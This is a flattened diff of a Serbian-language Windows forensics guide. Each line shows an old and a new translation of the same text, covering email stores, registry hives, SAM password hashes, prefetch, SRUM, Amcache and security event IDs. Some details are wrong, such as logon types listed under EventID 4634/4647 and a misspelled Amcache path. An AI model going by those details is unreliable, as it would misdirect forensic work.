* **Deadline ('P2M')**: Nalaže Task Scheduleru da, ako zadatak ne uspe dva uzastopna meseca, izvrši zadatak tokom hitnog automatskog održavanja. * **Deadline ('P2M')**: Upravlja Task Scheduler-om, ako zadatak ne uspe dva uzastopna meseca, da izvrši zadatak tokom hitnog automatskog održavanja.
Ova konfiguracija obezbeđuje redovno održavanje i čišćenje drajvera, uz odredbe za ponovni pokušaj zadatka u slučaju uzastopnih neuspeha. Ova konfiguracija osigurava redovno održavanje i čišćenje drajvera, sa odredbama za ponovni pokušaj zadatka u slučaju uzastopnih neuspeha.
**Za više informacija pogledajte:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) **Za više informacija proverite:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Emailovi ## Emails
Emailovi sadrže **2 interesantna dela: Zaglavlja i sadržaj** emaila. U **zaglavljima** možete pronaći informacije kao što su: Emailovi sadrže **2 zanimljiva dela: zaglavlja i sadržaj** emaila. U **zaglavljima** možete pronaći informacije kao što su:
* **Ko** je poslao emailove (adresa e-pošte, IP, mail serveri koji su preusmerili email) * **Ko** je poslao emailove (email adresa, IP, mail serveri koji su preusmerili email)
* **Kada** je email poslat * **Kada** je email poslat
Takođe, unutar zaglavlja `References` i `In-Reply-To` možete pronaći ID poruka: Takođe, unutar `References` i `In-Reply-To` zaglavlja možete pronaći ID poruka:
![](<../../../.gitbook/assets/image (593).png>) ![](<../../../.gitbook/assets/image (593).png>)
### Windows Mail aplikacija ### Windows Mail App
Ova aplikacija čuva emailove u HTML ili tekstualnom formatu. Emailove možete pronaći unutar podfoldera unutar `\Users\<korisničko_ime>\AppData\Local\Comms\Unistore\data\3\`. Emailovi se čuvaju sa ekstenzijom `.dat`. Ova aplikacija čuva emailove u HTML-u ili tekstu. Možete pronaći emailove unutar podfoldera unutar `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Emailovi se čuvaju sa ekstenzijom `.dat`.
**Metapodaci** emailova i **kontakti** mogu se pronaći unutar **EDB baze podataka**: `\Users\<korisničko_ime>\AppData\Local\Comms\UnistoreDB\store.vol` **Metapodaci** emailova i **kontakti** mogu se naći unutar **EDB baze podataka**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Promenite ekstenziju** datoteke sa `.vol` na `.edb` i možete koristiti alatku [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) da je otvorite. Unutar tabele `Message` možete videti emailove. **Promenite ekstenziju** datoteke sa `.vol` na `.edb` i možete koristiti alat [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) da je otvorite. Unutar `Message` tabele možete videti emailove.
### Microsoft Outlook ### Microsoft Outlook
Kada se koriste Exchange serveri ili Outlook klijenti, postojaće neka MAPI zaglavlja: Kada se koriste Exchange serveri ili Outlook klijenti, biće prisutni neki MAPI zaglavlja:
* `Mapi-Client-Submit-Time`: Vreme sistema kada je email poslat * `Mapi-Client-Submit-Time`: Vreme sistema kada je email poslat
* `Mapi-Conversation-Index`: Broj dečijih poruka niti i vremenska oznaka svake poruke niti * `Mapi-Conversation-Index`: Broj poruka u thread-u i vremenska oznaka svake poruke u thread-u
* `Mapi-Entry-ID`: Identifikator poruke. * `Mapi-Entry-ID`: Identifikator poruke.
* `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacije o MAPI klijentu (poruka pročitana? nepročitana? odgovorena? preusmerena? van kancelarije?) * `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacije o MAPI klijentu (poruka pročitana? nije pročitana? odgovoreno? preusmereno? van kancelarije?)
U Microsoft Outlook klijentu, sve poslate/primljene poruke, podaci o kontaktima i podaci o kalendaru čuvaju se u PST datoteci u: U Microsoft Outlook klijentu, sve poslate/primljene poruke, podaci o kontaktima i podaci o kalendaru čuvaju se u PST datoteci u:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook` * `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Putanja registra `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` ukazuje na datoteku koja se koristi. Putanja u registru `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` ukazuje na datoteku koja se koristi.
Možete otvoriti PST datoteku koristeći alatku [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). Možete otvoriti PST datoteku koristeći alat [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../.gitbook/assets/image (498).png>) ![](<../../../.gitbook/assets/image (498).png>)
### Microsoft Outlook OST Files ### Microsoft Outlook OST Files
**OST fajl** se generiše od strane Microsoft Outlook-a kada je konfigurisan sa **IMAP** ili **Exchange** serverom, čuvajući slične informacije kao PST fajl. Ovaj fajl je sinhronizovan sa serverom, zadržavajući podatke za **poslednjih 12 meseci** do **maksimalne veličine od 50GB**, i nalazi se u istom direktorijumu kao PST fajl. Za pregled OST fajla, može se koristiti [**Kernel OST pregledač**](https://www.nucleustechnologies.com/ost-viewer.html). **OST datoteka** se generiše od strane Microsoft Outlook-a kada je konfigurisan sa **IMAP** ili **Exchange** serverom, čuvajući slične informacije kao PST datoteka. Ova datoteka se sinhronizuje sa serverom, zadržavajući podatke za **poslednjih 12 meseci** do **maksimalne veličine od 50GB**, i nalazi se u istom direktorijumu kao PST datoteka. Da biste pregledali OST datoteku, može se koristiti [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Dobijanje Priloga ### Retrieving Attachments
Izgubljeni prilozi mogu biti povratni sa: Izgubljeni dodaci mogu biti oporavljeni iz:
* Za **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` * Za **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
* Za **IE11 i novije**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` * Za **IE11 i više**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX Fajlovi ### Thunderbird MBOX Files
**Thunderbird** koristi **MBOX fajlove** za čuvanje podataka, smeštenih u `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. **Thunderbird** koristi **MBOX datoteke** za čuvanje podataka, smeštene u `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Slika Sličica ### Image Thumbnails
* **Windows XP i 8-8.1**: Pristupanje fascikli sa sličicama generiše `thumbs.db` fajl koji čuva preglede slika, čak i nakon brisanja. * **Windows XP i 8-8.1**: Pristup folderu sa sličicama generiše `thumbs.db` datoteku koja čuva prikaze slika, čak i nakon brisanja.
* **Windows 7/10**: `thumbs.db` se kreira prilikom pristupa preko mreže putem UNC putanje. * **Windows 7/10**: `thumbs.db` se kreira kada se pristupa preko mreže putem UNC puta.
* **Windows Vista i noviji**: Pregledi sličica su centralizovani u `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` sa fajlovima nazvanim **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) su alati za pregledanje ovih fajlova. * **Windows Vista i novije**: Prikazi sličica su centralizovani u `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` sa datotekama imenovanim **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) su alati za pregled ovih datoteka.
### Informacije iz Windows Registra ### Windows Registry Information
Windows Registar, koji čuva obimne podatke o sistemu i korisničkoj aktivnosti, nalazi se u fajlovima: Windows Registry, koji čuva opsežne podatke o sistemu i korisničkim aktivnostima, sadrži se unutar datoteka u:
* `%windir%\System32\Config` za različite `HKEY_LOCAL_MACHINE` podključeve. * `%windir%\System32\Config` za razne `HKEY_LOCAL_MACHINE` podključeve.
* `%UserProfile%{User}\NTUSER.DAT` za `HKEY_CURRENT_USER`. * `%UserProfile%{User}\NTUSER.DAT` za `HKEY_CURRENT_USER`.
* Windows Vista i novije verzije prave rezervne kopije fajlova registra `HKEY_LOCAL_MACHINE` u `%Windir%\System32\Config\RegBack\`. * Windows Vista i novije verzije prave rezervne kopije `HKEY_LOCAL_MACHINE` registry datoteka u `%Windir%\System32\Config\RegBack\`.
* Dodatno, informacije o izvršavanju programa se čuvaju u `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server nadalje. * Pored toga, informacije o izvršenju programa se čuvaju u `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server nadalje.
### Alati ### Tools
Neki alati su korisni za analizu fajlova registra: Neki alati su korisni za analizu registry datoteka:
* **Uređivač Registra**: Instaliran je u Windows-u. To je grafički interfejs za navigaciju kroz Windows registar trenutne sesije. * **Registry Editor**: Instaliran je u Windows-u. To je GUI za navigaciju kroz Windows registry trenutne sesije.
* [**Istraživač Registra**](https://ericzimmerman.github.io/#!index.md): Omogućava vam da učitate fajl registra i navigirate kroz njega sa grafičkim interfejsom. Takođe sadrži Obeleživače koji ističu ključeve sa zanimljivim informacijama. * [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Omogućava vam da učitate registry datoteku i navigirate kroz njih sa GUI-jem. Takođe sadrži oznake koje ističu ključeve sa zanimljivim informacijama.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ima grafički interfejs koji omogućava navigaciju kroz učitani registar i takođe sadrži dodatke koji ističu zanimljive informacije unutar učitanog registra. * [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ponovo, ima GUI koji omogućava navigaciju kroz učitani registry i takođe sadrži dodatke koji ističu zanimljive informacije unutar učitanog registry-a.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Još jedna aplikacija sa grafičkim interfejsom sposobna da izvuče važne informacije iz učitanog registra. * [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Još jedna GUI aplikacija sposobna da izvuče važne informacije iz učitanog registry-a.
### Obnavljanje Obrisanih Elemenata ### Recovering Deleted Element
Kada se ključ obriše, označava se kao takav, ali dok prostor koji zauzima nije potreban, neće biti uklonjen. Stoga, korišćenjem alata poput **Istraživača Registra** moguće je povratiti ove obrisane ključeve. Kada se ključ obriše, označen je kao takav, ali dok prostor koji zauzima nije potreban, neće biti uklonjen. Stoga, korišćenjem alata kao što je **Registry Explorer** moguće je povratiti ove obrisane ključeve.
### Vreme Poslednje Izmena ### Last Write Time
Svaki Ključ-Vrednost sadrži **vremensku oznaku** koja pokazuje poslednje vreme kada je izmenjen. Svaki Key-Value sadrži **vremensku oznaku** koja označava poslednji put kada je modifikovan.
### SAM ### SAM
Fajl/hajv **SAM** sadrži **korisnike, grupe i lozinke korisnika** sistema. Datoteka/hive **SAM** sadrži **korisnike, grupe i heširane lozinke korisnika** sistema.
U `SAM\Domains\Account\Users` možete dobiti korisničko ime, RID, poslednju prijavu, poslednju neuspelu prijavu, brojač prijava, politiku lozinke i kada je nalog kreiran. Da biste dobili **heševe**, takođe **trebate** fajl/hajv **SYSTEM**. U `SAM\Domains\Account\Users` možete dobiti korisničko ime, RID, poslednju prijavu, poslednji neuspešni pokušaj prijave, brojač prijava, politiku lozinki i kada je nalog kreiran. Da biste dobili **hešove** takođe **trebate** datoteku/hive **SYSTEM**.
### Zanimljivi unosi u Windows Registru ### Interesting entries in the Windows Registry
{% content-ref url="interesting-windows-registry-keys.md" %} {% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) [interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %} {% endcontent-ref %}
## Izvršeni Programi ## Programs Executed
### Osnovni Windows Procesi ### Basic Windows Processes
U [ovom postu](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) možete saznati o zajedničkim Windows procesima za otkrivanje sumnjivih ponašanja. U [ovom postu](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) možete saznati o uobičajenim Windows procesima za otkrivanje sumnjivih ponašanja.
### Nedavni Windows Aplikacije ### Windows Recent APPs
Unutar registra `NTUSER.DAT` na putanji `Software\Microsoft\Current Version\Search\RecentApps` možete pronaći podključeve sa informacijama o **izvršenoj aplikaciji**, **poslednjem vremenu** kada je izvršena, i **broju puta** koliko je pokrenuta. Unutar registra `NTUSER.DAT` na putu `Software\Microsoft\Current Version\Search\RecentApps` možete pronaći podključeve sa informacijama o **izvršenoj aplikaciji**, **poslednjem putu** kada je izvršena, i **broju puta** kada je pokrenuta.
### BAM (Background Activity Moderator) ### BAM (Background Activity Moderator)
Možete otvoriti fajl `SYSTEM` sa uređivačem registra i unutar putanje `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` možete pronaći informacije o **aplikacijama izvršenim od strane svakog korisnika** (obratite pažnju na `{SID}` u putanji) i u **koje vreme** su izvršene (vreme je unutar Vrednosti podataka registra). Možete otvoriti datoteku `SYSTEM` sa registry editorom i unutar puta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` možete pronaći informacije o **aplikacijama koje je izvršio svaki korisnik** (napomena na `{SID}` u putu) i **u koje vreme** su izvršene (vreme je unutar Data vrednosti registra).
### Windows Prefetch ### Windows Prefetch
Prefetching je tehnika koja omogućava računaru da tiho **preuzme neophodne resurse potrebne za prikaz sadržaja** kojem korisnik **može pristupiti u bliskoj budućnosti** kako bi resursi mogli biti brže dostupni. Prefetching je tehnika koja omogućava računaru da tiho **preuzme potrebne resurse potrebne za prikazivanje sadržaja** koji korisnik **može pristupiti u bliskoj budućnosti** kako bi se resursi mogli brže pristupiti.
Windows prefetch se sastoji od kreiranja **keševa izvršenih programa** kako bi se mogli brže učitati. Ovi keševi se kreiraju kao `.pf` fajlovi unutar putanje: `C:\Windows\Prefetch`. Postoji ograničenje od 128 fajlova u XP/VISTA/WIN7 i 1024 fajlova u Win8/Win10. Windows prefetch se sastoji od kreiranja **kešova izvršenih programa** kako bi ih mogli brže učitati. Ovi keševi se kreiraju kao `.pf` datoteke unutar puta: `C:\Windows\Prefetch`. Postoji limit od 128 datoteka u XP/VISTA/WIN7 i 1024 datoteka u Win8/Win10.
Naziv fajla se kreira kao `{ime_programa}-{hash}.pf` (heš je zasnovan na putanji i argumentima izvršnog fajla). U W10 ovi fajlovi su kompresovani. Imajte na umu da samo prisustvo fajla ukazuje da je **program izvršen** u nekom trenutku. Ime datoteke se kreira kao `{program_name}-{hash}.pf` (heš se zasniva na putu i argumentima izvršne datoteke). U W10 ove datoteke su kompresovane. Imajte na umu da sama prisutnost datoteke ukazuje da je **program izvršen** u nekom trenutku.
Fajl `C:\Windows\Prefetch\Layout.ini` sadrži **imena fascikli fajlova koji su predviđeni**. Ovaj fajl sadrži **informacije o broju izvršenja**, **datumima** izvršenja i **fajlovima** **otvorenim** od strane programa. Datoteka `C:\Windows\Prefetch\Layout.ini` sadrži **imena foldera datoteka koje su preuzete**. Ova datoteka sadrži **informacije o broju izvršenja**, **datumima** izvršenja i **datotekama** **otvorenim** od strane programa.
Za pregled ovih fajlova možete koristiti alat [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): Da biste pregledali ove datoteke, možete koristiti alat [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash ```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
``` ```
@ -309,16 +313,16 @@ Za pregled ovih fajlova možete koristiti alat [**PEcmd.exe**](https://github.co
### Superprefetch ### Superprefetch
**Superprefetch** ima isti cilj kao prefetch, **ubrzati učitavanje programa** predviđajući šta će se učitati sledeće. Međutim, ne zamenjuje prefetch servis.\ **Superprefetch** ima isti cilj kao i prefetch, **brže učitavanje programa** predviđanjem šta će biti učitano sledeće. Međutim, ne zamenjuje prefetch servis.\
Ovaj servis će generisati bazu podataka u `C:\Windows\Prefetch\Ag*.db`. Ova usluga će generisati datoteke baze podataka u `C:\Windows\Prefetch\Ag*.db`.
U ovim bazama podataka možete pronaći **ime programa**, **broj izvršavanja**, **otvorene datoteke**, **pristupane zapremine**, **potpunu putanju**, **vremenske okvire** i **vremenske oznake**. U ovim bazama podataka možete pronaći **ime** **programa**, **broj** **izvršavanja**, **otvorene** **datoteke**, **pristup** **volumenu**, **potpunu** **putanju**, **vremenske okvire** i **vremenske oznake**.
Ove informacije možete pristupiti koristeći alat [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). Možete pristupiti ovim informacijama koristeći alat [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM ### SRUM
**System Resource Usage Monitor** (SRUM) **prati** **resurse** **korišćene od strane procesa**. Pojavio se u W8 i podatke čuva u ESE bazi podataka smeštenoj u `C:\Windows\System32\sru\SRUDB.dat`. **Monitor korišćenja sistemskih resursa** (SRUM) **prati** **resurse** **koje koristi** **proces**. Pojavio se u W8 i čuva podatke u ESE bazi podataka smeštenoj u `C:\Windows\System32\sru\SRUDB.dat`.
Daje sledeće informacije: Daje sledeće informacije:
@ -327,70 +331,70 @@ Daje sledeće informacije:
* Poslati bajtovi * Poslati bajtovi
* Primljeni bajtovi * Primljeni bajtovi
* Mrežni interfejs * Mrežni interfejs
* Trajanje konekcije * Trajanje veze
* Trajanje procesa * Trajanje procesa
Ove informacije se ažuriraju svakih 60 minuta. Ove informacije se ažuriraju svake 60 minuta.
Možete dobiti podatke iz ovog fajla koristeći alat [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). Možete dobiti podatke iz ove datoteke koristeći alat [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
```bash ```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
``` ```
### AppCompatCache (ShimCache) ### AppCompatCache (ShimCache)
**AppCompatCache**, poznat i kao **ShimCache**, čini deo **Baze podataka o kompatibilnosti aplikacija** razvijene od strane **Microsoft-a** kako bi se rešili problemi sa kompatibilnošću aplikacija. Ovaj sistemski komponent beleži različite delove metapodataka datoteka, uključujući: **AppCompatCache**, poznat i kao **ShimCache**, deo je **Baze podataka o kompatibilnosti aplikacija** koju je razvila **Microsoft** kako bi se rešili problemi sa kompatibilnošću aplikacija. Ova sistemska komponenta beleži razne delove metapodataka o datotekama, koji uključuju:
* Puni put do datoteke * Puni put do datoteke
* Veličina datoteke * Veličinu datoteke
* Vreme poslednje izmene pod **$Standard\_Information** (SI) * Vreme poslednje izmene pod **$Standard\_Information** (SI)
* Vreme poslednjeg ažuriranja ShimCache-a * Vreme poslednje ažuriranja ShimCache-a
* Zastava izvršenja procesa * Zastavicu izvršenja procesa
Ovi podaci se čuvaju u registru na određenim lokacijama zavisno od verzije operativnog sistema: Ovi podaci se čuvaju u registru na specifičnim lokacijama u zavisnosti od verzije operativnog sistema:
* Za XP, podaci se čuvaju pod `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` sa kapacitetom od 96 unosa. * Za XP, podaci se čuvaju pod `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` sa kapacitetom za 96 unosa.
* Za Server 2003, kao i za Windows verzije 2008, 2012, 2016, 7, 8 i 10, putanja skladištenja je `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, sa kapacitetom od 512 i 1024 unosa, redom. * Za Server 2003, kao i za Windows verzije 2008, 2012, 2016, 7, 8 i 10, putanja za skladištenje je `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, sa kapacitetom od 512 i 1024 unosa, respektivno.
Za parsiranje sačuvanih informacija, preporučuje se korišćenje alata [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). Za parsiranje sačuvanih informacija, preporučuje se korišćenje [**AppCompatCacheParser** alata](https://github.com/EricZimmerman/AppCompatCacheParser).
![](<../../../.gitbook/assets/image (75).png>) ![](<../../../.gitbook/assets/image (75).png>)
### Amcache ### Amcache
Datoteka **Amcache.hve** je suštinski registarski hive koji beleži detalje o aplikacijama koje su izvršene na sistemu. Obično se nalazi na lokaciji `C:\Windows\AppCompat\Programas\Amcache.hve`. **Amcache.hve** datoteka je u suštini registri hives koji beleži detalje o aplikacijama koje su izvršene na sistemu. Obično se nalazi na `C:\Windows\AppCompat\Programas\Amcache.hve`.
Ova datoteka je značajna jer čuva zapise nedavno izvršenih procesa, uključujući putanje do izvršnih datoteka i njihove SHA1 heš vrednosti. Ove informacije su neprocenjive za praćenje aktivnosti aplikacija na sistemu. Ova datoteka je značajna jer čuva zapise o nedavno izvršenim procesima, uključujući puteve do izvršnih datoteka i njihove SHA1 heš vrednosti. Ove informacije su neprocenjive za praćenje aktivnosti aplikacija na sistemu.
Za ekstrakciju i analizu podataka iz **Amcache.hve**, može se koristiti alat [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Sledeća komanda je primer kako koristiti AmcacheParser za parsiranje sadržaja datoteke **Amcache.hve** i izlaz rezultata u CSV formatu: Za ekstrakciju i analizu podataka iz **Amcache.hve**, može se koristiti [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) alat. Sledeća komanda je primer kako koristiti AmcacheParser za parsiranje sadržaja **Amcache.hve** datoteke i izlaz rezultata u CSV formatu:
```bash ```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
``` ```
Među generisanim CSV fajlovima, `Amcache_Unassociated file entries` je posebno značajan zbog obilja informacija koje pruža o nepovezanim unosima fajlova. Među generisanim CSV datotekama, `Amcache_Unassociated file entries` je posebno značajan zbog bogatih informacija koje pruža o neudruženim unosima datoteka.
Najinteresantniji CSV fajl koji se generiše je `Amcache_Unassociated file entries`. Najzanimljivija CVS datoteka koja je generisana je `Amcache_Unassociated file entries`.
### RecentFileCache ### RecentFileCache
Ovaj artefakt se može pronaći samo u W7 u `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i sadrži informacije o nedavnom izvršavanju određenih binarnih fajlova. Ovaj artefakt se može naći samo u W7 u `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i sadrži informacije o nedavnoj izvršavanju nekih binarnih datoteka.
Možete koristiti alat [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) za parsiranje fajla. Možete koristiti alat [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) za analizu datoteke.
### Planirani zadaci ### Zakazane aktivnosti
Možete ih izvući iz `C:\Windows\Tasks` ili `C:\Windows\System32\Tasks` i čitati ih kao XML fajlove. Možete ih izvući iz `C:\Windows\Tasks` ili `C:\Windows\System32\Tasks` i pročitati ih kao XML.
### Servisi ### Servisi
Možete ih pronaći u registru pod `SYSTEM\ControlSet001\Services`. Možete videti šta će biti izvršeno i kada. Možete ih pronaći u registru pod `SYSTEM\ControlSet001\Services`. Možete videti šta će biti izvršeno i kada.
### **Windows prodavnica** ### **Windows Store**
Instalirane aplikacije se mogu pronaći u `\ProgramData\Microsoft\Windows\AppRepository\`\ Instalirane aplikacije se mogu naći u `\ProgramData\Microsoft\Windows\AppRepository\`\
Ova repozitorijum ima **log** sa **svakom instaliranom aplikacijom** u sistemu unutar baze podataka **`StateRepository-Machine.srd`**. Ova biblioteka ima **log** sa **svakom instaliranom aplikacijom** u sistemu unutar baze podataka **`StateRepository-Machine.srd`**.
Unutar tabele Aplikacija ove baze podataka, mogu se pronaći kolone: "ID aplikacije", "Broj paketa" i "Prikazano ime". Ove kolone sadrže informacije o preinstaliranim i instaliranim aplikacijama i može se utvrditi da li su neke aplikacije deinstalirane jer bi ID-jevi instaliranih aplikacija trebalo da budu uzastopni. Unutar tabele aplikacija ove baze podataka, moguće je pronaći kolone: "Application ID", "PackageNumber" i "Display Name". Ove kolone imaju informacije o unapred instaliranim i instaliranim aplikacijama i može se utvrditi da li su neke aplikacije deinstalirane jer bi ID-ovi instaliranih aplikacija trebali biti sekvencijalni.
Takođe je moguće **pronaći instaliranu aplikaciju** unutar putanje registra: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ Takođe je moguće **pronaći instaliranu aplikaciju** unutar registra na putanji: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
I **deinstalirane** **aplikacije** u: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` I **deinstalirane** **aplikacije** u: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows događaji ## Windows događaji
@ -398,117 +402,119 @@ I **deinstalirane** **aplikacije** u: `Software\Microsoft\Windows\CurrentVersion
Informacije koje se pojavljuju unutar Windows događaja su: Informacije koje se pojavljuju unutar Windows događaja su:
* Šta se desilo * Šta se desilo
* Vremenska oznaka (UTC + 0) * Vreme (UTC + 0)
* Uključeni korisnici * Uključeni korisnici
* Uključeni računari (ime računara, IP adresa) * Uključeni hostovi (hostname, IP)
* Resursi korišćeni (fajlovi, folderi, štampači, servisi) * Pristupeni resursi (datoteke, folderi, štampači, servisi)
Logovi se nalaze u `C:\Windows\System32\config` pre Windows Vista i u `C:\Windows\System32\winevt\Logs` posle Windows Vista. Pre Windows Vista, logovi događaja su bili u binarnom formatu, a posle toga su u **XML formatu** i koriste **.evtx** ekstenziju. Logovi se nalaze u `C:\Windows\System32\config` pre Windows Vista i u `C:\Windows\System32\winevt\Logs` nakon Windows Vista. Pre Windows Vista, logovi događaja su bili u binarnom formatu, a nakon toga su u **XML formatu** i koriste **.evtx** ekstenziju.
Lokacija fajlova sa događajima se može pronaći u registru SYSTEM pod **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** Lokacija datoteka događaja može se pronaći u SYSTEM registru u **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Mogu se vizualizovati pomoću Windows pregledača događaja (**`eventvwr.msc`**) ili drugih alata poput [**Event Log Explorer**](https://eventlogxp.com) **ili** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** Mogu se vizualizovati iz Windows Event Viewer-a (**`eventvwr.msc`**) ili sa drugim alatima kao što su [**Event Log Explorer**](https://eventlogxp.com) **ili** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Razumevanje Windows sigurnosnog logovanja događaja ## Razumevanje Windows sigurnosnog logovanja događaja
Pristupni događaji se beleže u sigurnosnom konfiguracionom fajlu koji se nalazi na lokaciji `C:\Windows\System32\winevt\Security.evtx`. Veličina ovog fajla je podesiva, a kada se dostigne kapacitet, stariji događaji se prepisuju. Zabeleženi događaji uključuju prijave i odjave korisnika, korisničke radnje, promene sigurnosnih postavki, kao i pristup fajlovima, folderima i deljenim resursima. Događaji pristupa se beleže u datoteci sigurnosne konfiguracije koja se nalazi na `C:\Windows\System32\winevt\Security.evtx`. Veličina ove datoteke je prilagodljiva, a kada se dostigne njena kapacitet, stariji događaji se prepisuju. Beleženi događaji uključuju prijave i odjave korisnika, korisničke akcije i promene u sigurnosnim postavkama, kao i pristup datotekama, folderima i zajedničkim resursima.
### Ključni ID-jevi događaja za korisničku autentifikaciju: ### Ključni ID-evi događaja za autentifikaciju korisnika:
* **EventID 4624**: Ukazuje na uspešnu autentifikaciju korisnika. * **EventID 4624**: Ukazuje na to da je korisnik uspešno autentifikovan.
* **EventID 4625**: Signalizira neuspešnu autentifikaciju. * **EventID 4625**: Signalizira neuspeh autentifikacije.
* **EventID 4634/4647**: Predstavljaju događaje odjave korisnika. * **EventIDs 4634/4647**: Predstavljaju događaje odjave korisnika.
* **EventID 4672**: Označava prijavu sa administratorskim privilegijama. * **EventID 4672**: Označava prijavu sa administratorskim privilegijama.
#### Pod-tipovi unutar EventID 4634/4647: #### Podtipovi unutar EventID 4634/4647:
* **Interaktivno (2)**: Direktna korisnička prijava. * **Interaktivno (2)**: Direktna prijava korisnika.
* **Mrežno (3)**: Pristup deljenim fasciklama. * **Mrežno (3)**: Pristup zajedničkim folderima.
* **Batch (4)**: Izvršavanje batch procesa. * **Serijski (4)**: Izvršenje serijskih procesa.
* **Servis (5)**: Pokretanje servisa. * **Servis (5)**: Pokretanje servisa.
* **Proxy (6)**: Proksi autentifikacija. * **Proxy (6)**: Proxy autentifikacija.
* **Otključavanje (7)**: Ekran otključan lozinkom. * **Otključavanje (7)**: Ekran otključan lozinkom.
* **Mrežni čisti tekst (8)**: Prenos lozinke u čistom tekstu, često od strane IIS-a. * **Mrežni čist tekst (8)**: Prenos lozinke u čistom tekstu, često iz IIS-a.
* **Nove akreditacije (9)**: Korišćenje različitih akreditacija za pristup. * **Nove kredencijale (9)**: Korišćenje različitih kredencijala za pristup.
